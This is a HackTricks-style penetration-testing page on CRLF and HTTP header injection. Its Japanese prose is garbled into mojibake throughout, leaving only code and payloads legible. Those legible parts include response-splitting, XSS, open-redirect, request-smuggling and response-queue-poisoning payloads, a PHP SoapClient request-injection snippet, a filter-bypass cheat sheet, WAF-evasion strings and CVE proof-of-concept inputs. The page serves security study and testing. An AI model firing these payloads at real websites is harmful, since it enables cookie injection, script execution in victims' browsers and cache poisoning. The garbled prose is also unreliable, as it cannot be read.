CRLF (%0D%0A) ã€ã³ãžã§ã¯ã·ã§ã³
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
CRLF
ãã£ãªããžãªã¿ãŒã³ (CR) ãšã©ã€ã³ãã£ãŒã (LF) ã¯ãCRLF ãšããŠç¥ãããç¹å¥ãªæååã§ãHTTP ãããã³ã«ã§è¡ã®çµãããæ°ããè¡ã®éå§ã瀺ãããã«äœ¿çšãããŸãããŠã§ããµãŒããŒãšãã©ãŠã¶ã¯ãHTTP ããããŒãšã¬ã¹ãã³ã¹ã®ããã£ãåºå¥ããããã« CRLF ã䜿çšããŸãããããã®æåã¯ãApache ã Microsoft IIS ãªã©ãããŸããŸãªãŠã§ããµãŒããŒã¿ã€ãã® HTTP/1.1 éä¿¡ã§æ®éçã«äœ¿çšãããŠããŸãã
CRLF ã€ã³ãžã§ã¯ã·ã§ã³è匱æ§
CRLF ã€ã³ãžã§ã¯ã·ã§ã³ã¯ããŠãŒã¶ãŒæäŸã®å ¥åã« CR ããã³ LF æåãæ¿å ¥ããããšãå«ã¿ãŸãããã®ã¢ã¯ã·ã§ã³ã¯ããµãŒããŒãã¢ããªã±ãŒã·ã§ã³ããŸãã¯ãŠãŒã¶ãŒã誀解ãããæ¿å ¥ãããã·ãŒã±ã³ã¹ã1ã€ã®ã¬ã¹ãã³ã¹ã®çµãããšå¥ã®ã¬ã¹ãã³ã¹ã®éå§ãšããŠè§£éãããŸãããããã®æåã¯æ¬è³ªçã«æå®³ã§ã¯ãããŸãããããã®èª€çšã¯ HTTP ã¬ã¹ãã³ã¹ã®åå²ããã®ä»ã®æªæã®ããæŽ»åã«ã€ãªããå¯èœæ§ããããŸãã
äŸ: ãã°ãã¡ã€ã«ã«ããã CRLF ã€ã³ãžã§ã¯ã·ã§ã³
管çããã«ã®ãã°ãã¡ã€ã«ã IP - Time - Visited Path ãšãã圢åŒã«åŸã£ãŠãããšä»®å®ããŸããå
žåçãªãšã³ããªã¯æ¬¡ã®ããã«ãªããŸã:
123.123.123.123 - 08:15 - /index.php?page=home
æ»æè ã¯CRLFã€ã³ãžã§ã¯ã·ã§ã³ãå©çšããŠãã®ãã°ãæäœã§ããŸããHTTPãªã¯ãšã¹ãã«CRLFæåãæ³šå ¥ããããšã§ãæ»æè ã¯åºåã¹ããªãŒã ã倿Žãããã°ãšã³ããªãåœé ããããšãã§ããŸããäŸãã°ãæ³šå ¥ãããã·ãŒã±ã³ã¹ã¯ãã°ãšã³ããªã次ã®ããã«å€æãããããããŸãã:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
ããã§ã%0d ãš %0a 㯠CR ãš LF ã® URL ãšã³ã³ãŒã圢åŒã衚ããŸããæ»æåŸããã°ã¯èª€è§£ãæã圢ã§è¡šç€ºãããŸã:
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
æ»æè
ã¯ãããŒã«ã«ãã¹ãïŒãµãŒããŒç°å¢å
ã§éåžžä¿¡é Œããããšã³ãã£ãã£ïŒãã¢ã¯ã·ã§ã³ãå®è¡ãããã®ããã«èŠããããããšã§ãæªæã®ããæŽ»åãé èœããŸãããµãŒããŒã¯ã%0d%0aã§å§ãŸãã¯ãšãªã®éšåãåäžã®ãã©ã¡ãŒã¿ãšããŠè§£éããrestrictedactionãã©ã¡ãŒã¿ã¯å¥ã®å
¥åãšããŠè§£æãããŸããæäœãããã¯ãšãªã¯ãæ£åœãªç®¡çã³ãã³ããæš¡å£ããŸãïŒ/index.php?page=home&restrictedaction=edit
HTTPã¬ã¹ãã³ã¹åå²
説æ
HTTPã¬ã¹ãã³ã¹åå²ã¯ãæ»æè ãHTTPã¬ã¹ãã³ã¹ã®æ§é ãæªçšããããšã§çºçããã»ãã¥ãªãã£è匱æ§ã§ãããã®æ§é ã¯ãç¹å®ã®æååããã£ãªããžãªã¿ãŒã³ïŒCRïŒãšã©ã€ã³ãã£ãŒãïŒLFïŒã䜿çšããŠããããŒãšããã£ãåé¢ããŸãããããã¯åãããŠCRLFãšåŒã°ããŸããæ»æè ãã¬ã¹ãã³ã¹ããããŒã«CRLFã·ãŒã±ã³ã¹ãæ¿å ¥ããããšã«æåãããšã以éã®ã¬ã¹ãã³ã¹ã³ã³ãã³ãã广çã«æäœã§ããŸãããã®çš®ã®æäœã¯ãç¹ã«ã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ïŒXSSïŒãªã©ã®æ·±å»ãªã»ãã¥ãªãã£åé¡ãåŒãèµ·ããå¯èœæ§ããããŸãã
HTTPã¬ã¹ãã³ã¹åå²ã«ããXSS
- ã¢ããªã±ãŒã·ã§ã³ã¯æ¬¡ã®ãããªã«ã¹ã¿ã ããããŒãèšå®ããŸãïŒ
X-Custom-Header: UserInput - ã¢ããªã±ãŒã·ã§ã³ã¯ãã¯ãšãªãã©ã¡ãŒã¿ãuser_inputããã
UserInputã®å€ãååŸããŸããé©åãªå ¥åæ€èšŒãšãšã³ã³ãŒãã£ã³ã°ãæ¬ åŠããŠããã·ããªãªã§ã¯ãæ»æè ã¯CRLFã·ãŒã±ã³ã¹ãå«ããã€ããŒããäœæãããã®åŸã«æªæã®ããã³ã³ãã³ãã远å ã§ããŸãã - æ»æè
ã¯ç¹å¥ã«äœæãããâuser_inputâãæã€URLãäœæããŸãïŒ
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- ãã®URLã§ã¯ã
%0d%0a%0d%0aã¯CRLFCRLFã®URLãšã³ã³ãŒã圢åŒã§ããããã«ããããµãŒããŒã¯CRLFã·ãŒã±ã³ã¹ãæ¿å ¥ãã以éã®éšåãã¬ã¹ãã³ã¹ããã£ãšããŠæ±ãããã«ä»åããŸãã
- ãµãŒããŒã¯æ»æè ã®å ¥åãã¬ã¹ãã³ã¹ããããŒã«åæ ãããæªæã®ããã¹ã¯ãªãããã¬ã¹ãã³ã¹ããã£ã®äžéšãšããŠãã©ãŠã¶ã«ãã£ãŠè§£éãããæå³ããªãã¬ã¹ãã³ã¹æ§é ãåŒãèµ·ãããŸãã
ãªãã€ã¬ã¯ãã«ã€ãªããHTTPã¬ã¹ãã³ã¹åå²ã®äŸ
Browser to:
/%0d%0aLocation:%20http://myweb.com
ãµãŒããŒã¯æ¬¡ã®ããããŒã§å¿çããŸã:
Location: http://myweb.com
ä»ã®äŸ: (ãã https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
In URL Path
URLãã¹å ã«ãã€ããŒããéä¿¡ããããšã§ããµãŒããŒããã®ã¬ã¹ãã³ã¹ãå¶åŸ¡ã§ããŸãïŒãã¡ãã®äŸïŒïŒ
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
HTTPããããŒã€ã³ãžã§ã¯ã·ã§ã³
HTTPããããŒã€ã³ãžã§ã¯ã·ã§ã³ã¯ãCRLFïŒãã£ãªããžãªã¿ãŒã³ãšã©ã€ã³ãã£ãŒãïŒã€ã³ãžã§ã¯ã·ã§ã³ãéããŠæªçšãããããšãå€ããæ»æè ãHTTPããããŒãæ¿å ¥ããããšãå¯èœã«ããŸããããã«ãããXSSïŒã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ïŒãã£ã«ã¿ãŒãSOPïŒåäžçæå ããªã·ãŒïŒãªã©ã®ã»ãã¥ãªãã£ã¡ã«ããºã ãæãªãããCSRFããŒã¯ã³ãªã©ã®æ©å¯ããŒã¿ãžã®äžæ£ã¢ã¯ã»ã¹ããã¯ãããŒã®æ€ãä»ããéãããŠãŒã¶ãŒã»ãã·ã§ã³ã®æäœã«ã€ãªããå¯èœæ§ããããŸãã
HTTPããããŒã€ã³ãžã§ã¯ã·ã§ã³ãä»ããCORSã®æªçš
æ»æè ã¯HTTPããããŒãæ¿å ¥ããŠCORSïŒã¯ãã¹ãªãªãžã³ãªãœãŒã¹ã·ã§ã¢ãªã³ã°ïŒãæå¹ã«ããSOPã«ãã£ãŠèª²ããããå¶éãåé¿ããããšãã§ããŸãããã®äŸµå®³ã«ãããæªæã®ãããªãªãžã³ããã®ã¹ã¯ãªãããç°ãªããªãªãžã³ã®ãªãœãŒã¹ãšçžäºäœçšããä¿è·ãããããŒã¿ã«ã¢ã¯ã»ã¹ããå¯èœæ§ããããŸãã
CRLFãä»ããSSRFããã³HTTPãªã¯ãšã¹ãã€ã³ãžã§ã¯ã·ã§ã³
CRLFã€ã³ãžã§ã¯ã·ã§ã³ã¯ããŸã£ããæ°ããHTTPãªã¯ãšã¹ããäœæããŠæ¿å
¥ããããã«å©çšã§ããŸããããã«é¢ããé¡èãªäŸã¯ãPHPã®SoapClientã¯ã©ã¹ã®è匱æ§ã§ãããç¹ã«user_agentãã©ã¡ãŒã¿å
ã«ãããŸãããã®ãã©ã¡ãŒã¿ãæäœããããšã§ãæ»æè
ã¯è¿œå ã®ããããŒãããã£ã³ã³ãã³ããæ¿å
¥ãããããŸã£ããæ°ããHTTPãªã¯ãšã¹ããæ³šå
¥ãããããããšãã§ããŸãã以äžã¯ããã®æªçšã瀺ãPHPã®äŸã§ãïŒ
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
ããããŒã€ã³ãžã§ã¯ã·ã§ã³ã«ãããªã¯ãšã¹ãã¹ã ãŒãžã³ã°
ãã®æè¡ãšæœåšçãªåé¡ã«ã€ããŠã®è©³çްã¯ãå ã®ãœãŒã¹ã確èªããŠãã ããã
éèŠãªããããŒãã€ã³ãžã§ã¯ãããŠãããã¯ãšã³ããååãªã¯ãšã¹ãã«å¿çããåŸãæ¥ç¶ãç¶æããããšã確èªã§ããŸãïŒ
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
ãã®åŸã2åç®ã®ãªã¯ãšã¹ããæå®ã§ããŸãããã®ã·ããªãªã¯éåžžãHTTP request smugglingã«é¢ä¿ããŠããããµãŒããŒãã€ã³ãžã§ã¯ã·ã§ã³åŸã«è¿œå ããããããŒãããã£èŠçŽ ãããŸããŸãªã»ãã¥ãªãã£ã®è匱æ§ã«ã€ãªããæè¡ã§ãã
æªçš:
- æªæã®ãããã¬ãã£ãã¯ã¹ã€ã³ãžã§ã¯ã·ã§ã³: ãã®æ¹æ³ã¯ãæªæã®ãããã¬ãã£ãã¯ã¹ãæå®ããããšã§æ¬¡ã®ãŠãŒã¶ãŒã®ãªã¯ãšã¹ãããŠã§ããã£ãã·ã¥ãæ±æããããšãå«ã¿ãŸããããã®äŸã¯æ¬¡ã®ãšããã§ãïŒ
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- ã¬ã¹ãã³ã¹ãã¥ãŒæ±æã®ããã®ãã¬ãã£ãã¯ã¹äœæ: ãã®ã¢ãããŒãã¯ããã¬ãŒãªã³ã°ãžã£ã³ã¯ãšçµã¿åãããããšã§å®å šãª2åç®ã®ãªã¯ãšã¹ãã圢æãããã¬ãã£ãã¯ã¹ãäœæããããšãå«ã¿ãŸããããã«ããã¬ã¹ãã³ã¹ãã¥ãŒã®æ±æãåŒãèµ·ããããå¯èœæ§ããããŸããäŸã¯æ¬¡ã®ãšããã§ãïŒ
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Memcache Injection
Memcacheã¯ã¯ãªã¢ããã¹ããããã³ã«ã䜿çšããããŒ-ããªã¥ãŒã¹ãã¢ã§ããè©³çŽ°ã¯æ¬¡ã®ãªã³ã¯ãåç §ããŠãã ããïŒ
å®å šãªæ å ±ã¯ å ã®ææžããèªã¿ãã ããã
ãã©ãããã©ãŒã ãHTTPãªã¯ãšã¹ãããããŒã¿ãååŸãããµãã¿ã€ãºããã«ã¡ã¢ãªãã£ãã·ã¥ãµãŒããŒãžã®ãªã¯ãšã¹ããå®è¡ããå Žåãæ»æè ã¯ãã®åäœãæªçšããŠæ°ããã¡ã¢ãªãã£ãã·ã¥ã³ãã³ããæ³šå ¥ããããšãã§ããŸãã
äŸãã°ãå ã çºèŠãããè匱æ§ã§ã¯ããã£ãã·ã¥ããŒããŠãŒã¶ãŒãæ¥ç¶ãã¹ãIPãšããŒããè¿ãããã«äœ¿çšãããæ»æè ã¯ã¡ã¢ãªãã£ãã·ã¥ã³ãã³ããæ³šå ¥ããŠãã£ãã·ã¥ãæ±æãã被害è ã®è©³çްïŒãŠãŒã¶ãŒåããã¹ã¯ãŒããå«ãïŒãæ»æè ã®ãµãŒããŒã«éä¿¡ãããããšãã§ããŸããïŒ
.png)
ããã«ãç ç©¶è ãã¡ã¯ãæ»æè ãç¥ããªããŠãŒã¶ãŒã®ã¡ãŒã«ã¢ãã¬ã¹ã«å¯ŸããŠæ»æè ã®IPãšããŒããéä¿¡ããããã«ã¡ã¢ãªãã£ãã·ã¥ã®ã¬ã¹ãã³ã¹ããã·ã³ã¯ãããããšãã§ããããšãçºèŠããŸããïŒ
.png)
Webã¢ããªã±ãŒã·ã§ã³ã«ãããCRLF / HTTPããããŒã€ã³ãžã§ã¯ã·ã§ã³ã®é²æ¢æ¹æ³
Webã¢ããªã±ãŒã·ã§ã³ã«ãããCRLFïŒãã£ãªããžãªã¿ãŒã³ãšã©ã€ã³ãã£ãŒãïŒãŸãã¯HTTPããããŒã€ã³ãžã§ã¯ã·ã§ã³ã®ãªã¹ã¯ã軜æžããããã«ã以äžã®æŠç¥ãæšå¥šãããŸãïŒ
- ã¬ã¹ãã³ã¹ããããŒã«çŽæ¥ãŠãŒã¶ãŒå ¥åãé¿ãã: æãå®å šãªã¢ãããŒãã¯ããŠãŒã¶ãŒãæäŸããå ¥åãã¬ã¹ãã³ã¹ããããŒã«çŽæ¥çµã¿èŸŒãŸãªãããšã§ãã
- ç¹æ®æåããšã³ã³ãŒããã: çŽæ¥ãŠãŒã¶ãŒå ¥åãé¿ããããšãã§ããªãå Žåã¯ãCRïŒãã£ãªããžãªã¿ãŒã³ïŒãLFïŒã©ã€ã³ãã£ãŒãïŒãªã©ã®ç¹æ®æåããšã³ã³ãŒãããããã®é¢æ°ã䜿çšããããšã確èªããŠãã ããããã®å®è·µã«ãããCRLFã€ã³ãžã§ã¯ã·ã§ã³ã®å¯èœæ§ã鲿¢ãããŸãã
- ããã°ã©ãã³ã°èšèªãæŽæ°ãã: Webã¢ããªã±ãŒã·ã§ã³ã§äœ¿çšãããããã°ã©ãã³ã°èšèªã宿çã«ææ°ããŒãžã§ã³ã«æŽæ°ããŸããHTTPããããŒãèšå®ãã颿°å ã§CRããã³LFæåã®æ³šå ¥ãæ¬è³ªçã«èš±å¯ããªãããŒãžã§ã³ãéžæããŠãã ããã
CHEATSHEET
1. HTTP Response Splitting
⢠/%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
⢠//www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
⢠/www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
⢠/google.com/%2F..%0D%0AHeader-Test:test2
⢠/%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
⢠/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
⢠/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
⢠%E5%98%8A = %0A = \u560a
⢠%E5%98%8D = %0D = \u560d
⢠%E5%98%BE = %3E = \u563e (>)
⢠%E5%98%BC = %3C = \u563c (<)
⢠Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
æè¿ã®èåŒ±æ§ (2023 â 2025)
é廿°å¹Žéã§ãåºã䜿çšãããŠãããµãŒããŒããã³ã¯ã©ã€ã¢ã³ãåŽã³ã³ããŒãã³ãã«ãããŠãããã€ãã®é«åœ±é¿ãªCRLF/HTTPããããŒã€ã³ãžã§ã¯ã·ã§ã³ãã°ãçºçããŸãããããããããŒã«ã«ã§åçŸããç ç©¶ããããšã¯ãå®éã®æªçšãã¿ãŒã³ãçè§£ããããã®åªããæ¹æ³ã§ãã
| 幎 | ã³ã³ããŒãã³ã | CVE / ã¢ããã€ã¶ãªãŒ | æ ¹æ¬åå | PoC ãã€ã©ã€ã |
|---|---|---|---|---|
| 2024 | RestSharp (â¥110.0.0 <110.2.0) | CVE-2024-45302 | AddHeader() ãã«ããŒãCR/LFããµãã¿ã€ãºãããRestSharpãããã¯ãšã³ããµãŒãã¹å
ã§HTTPã¯ã©ã€ã¢ã³ããšããŠäœ¿çšããããšãã«è€æ°ã®ãªã¯ãšã¹ãããããŒãæ§ç¯ã§ããããã«ããŸãããäžæµã®ã·ã¹ãã ã¯SSRFããªã¯ãšã¹ãã¹ã¢ã°ãªã³ã°ã匷å¶ãããå¯èœæ§ããããŸãã | client.AddHeader("X-Foo","bar%0d%0aHost:evil") |
| 2024 | Refit (†7.2.101) | CVE-2024-51501 | ã€ã³ã¿ãŒãã§ãŒã¹ã¡ãœããã®ããããŒå±æ§ããªã¯ãšã¹ãã«ãã®ãŸãŸã³ããŒãããŸããã%0d%0aãåã蟌ãããšã§ãæ»æè
ã¯ä»»æã®ããããŒããRefitããµãŒããŒåŽã®ã¯ãŒã«ãŒãžã§ãã§äœ¿çšããããšãã«ç¬¬äºã®ãªã¯ãšã¹ãã远å ããããšãã§ããŸããã | [Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")] |
| 2023 | Apache APISIX Dashboard | GHSA-4h3j-f5x9-r6x3 | ãŠãŒã¶ãŒæäŸã®redirectãã©ã¡ãŒã¿ããšã³ã³ãŒããããã«Location:ããããŒã«ãšã³ãŒããããªãŒãã³ãªãã€ã¬ã¯ã + ãã£ãã·ã¥ãã€ãºãã³ã°ãå¯èœã«ããŸããã | /login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script> |
ãããã®ãã°ã¯ãã¢ããªã±ãŒã·ã§ã³ã¬ãã«ã®ã³ãŒãå ã§ããªã¬ãŒãããããéèŠã§ããããŠã§ããµãŒããŒã®ãšããžã ãã§ã¯ãããŸãããHTTPãªã¯ãšã¹ããå®è¡ããããã¬ã¹ãã³ã¹ããããŒãèšå®ãããããå éšã³ã³ããŒãã³ãã¯ãCR/LFãã£ã«ã¿ãªã³ã°ã匷å¶ããå¿ èŠããããŸãã
é«åºŠãªUnicode / å¶åŸ¡æåãã€ãã¹
çŸä»£ã®WAF/ãªã©ã€ã¿ãŒã¹ã¿ãã¯ã¯ããªãã©ã«ã®\r/\nããã°ãã°åé€ããŸãããå€ãã®ããã¯ãšã³ããè¡ã®çµç«¯åãšããŠæ±ãä»ã®æåãå¿ããã¡ã§ããCRLFããã£ã«ã¿ãªã³ã°ãããå Žåã¯ã次ã詊ããŠãã ããïŒ
%E2%80%A8(U+2028â è¡åºåã)%E2%80%A9(U+2029â æ®µèœåºåã)%C2%85(U+0085â æ¬¡ã®è¡)
äžéšã®JavaãPythonãGoãã¬ãŒã ã¯ãŒã¯ã¯ãããããŒè§£æäžã«ãããã\nã«å€æããŸãïŒ2023幎ã®Praetorianç ç©¶ãåç
§ïŒãããããå€å
žçãªãã€ããŒããšçµã¿åãããŠãã ããïŒ
/%0A%E2%80%A8Set-Cookie:%20admin=true
ãã£ã«ã¿ãŒãæåã«UTF-8ãæ£èŠåããå Žåãå¶åŸ¡æåã¯éåžžã®æ¹è¡ã«å€æãããæ³šå ¥ãããããããŒãåãå ¥ããããŸãã
éè€ãã Content-Encoding ããªãã¯ã«ããWAFåé¿ (2023)
Praetorianã®ç ç©¶è ãã¡ã¯ã次ã®ããã«æ³šå ¥ããããšã§ç€ºããŸãã:
%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
åå°ããããŒã«ãããŠããã©ãŠã¶ã¯ãµãŒããŒããæäŸãããããã£ãç¡èŠãããã®åŸã«ç¶ãæ»æè
æäŸã®HTMLãã¬ã³ããªã³ã°ããŸããããã«ãããã¢ããªã±ãŒã·ã§ã³èªèº«ã®ã³ã³ãã³ããç¡å¹ã§ãã£ãŠããä¿åãããXSSãçºçããŸããContent-Encoding: identityã¯RFC 9110ã«ãã£ãŠèš±å¯ãããŠãããããå€ãã®ãªããŒã¹ãããã·ã¯ããã倿Žããã«è»¢éããŸãã
èªåããŒã«
- CRLFsuite â Goã§æžãããé«éã¢ã¯ãã£ãã¹ãã£ããŒã
- crlfuzz â Unicodeæ¹è¡ãã€ããŒãããµããŒãããåèªãªã¹ãããŒã¹ã®ãã¡ãºã¡ã
- crlfix â Goããã°ã©ã ã«ãã£ãŠçæãããHTTPãªã¯ãšã¹ããããããã2024ãŠãŒãã£ãªãã£ã§ãå éšãµãŒãã¹ããã¹ãããããã«ã¹ã¿ã³ãã¢ãã³ã§äœ¿çšã§ããŸãã
ãã«ãŒããã©ãŒã¹æ€åºãªã¹ã
åèæç®
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
- https://nvd.nist.gov/vuln/detail/CVE-2024-45302
- https://security.praetorian.com/blog/2023-unicode-newlines-bypass/
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


